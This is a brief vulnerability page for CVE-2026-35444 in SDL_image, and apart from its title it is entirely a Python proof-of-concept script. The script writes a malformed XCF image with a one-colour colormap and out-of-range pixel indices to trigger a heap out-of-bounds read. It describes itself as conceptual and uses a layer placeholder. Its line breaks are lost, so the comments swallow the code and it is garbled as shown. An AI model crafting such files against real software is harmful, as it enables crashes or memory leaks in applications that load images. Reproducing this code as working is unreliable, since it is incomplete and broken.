CVE-2026-35444 SDL_image堆越界读取漏洞

import struct # Conceptual PoC to generate a malformed XCF file triggering heap OOB read # This script creates a file with a colormap of size 1, but pixel indices > 0. def create_malformed_xcf(filename): with open(filename, 'wb') as f: # XCF Magic and Header f.write(b'gimp xcf file\x00') f.write(struct.pack('>I', 10)) # Width: 10 f.write(struct.pack('>I', 10)) # Height: 10 f.write(struct.pack('>I', 2)) # Image Type: INDEXED (2) # Properties: PROP_COLORMAP (17) # Define a colormap with only 1 color (cm_num = 1) f.write(struct.pack('>I', 17)) # Property Type: PROP_COLORMAP f.write(struct.pack('>I', 4 + 3 * 1)) # Property Size: 4 bytes length + 3 bytes color f.write(struct.pack('>I', 1)) # Number of colors (cm_num = 1) f.write(b'\xFF\x00\x00') # Color 0: Red # End of Properties f.write(struct.pack('>I', 0)) # PROP_END # Layer Header (Simplified structure for PoC logic) # In a real scenario, valid layer hierarchy is required. # We focus on the Tile data containing the bad index. f.write(b'LAYER') # Placeholder # Tile Data: Writing pixel indices. # Since cm_num is 1, valid indices are 0. # We write 255 (0xFF) to trigger out-of-bounds read. # This data will eventually be used as an index into the colormap. malicious_tile_data = b'\xFF' * 100 f.write(malicious_tile_data) # Note: A fully functional XCF file requires precise adherence to the file format. # This code demonstrates the core logic of the vulnerability: small colormap + large index. create_malformed_xcf('poc_cve_2026_35444.xcf')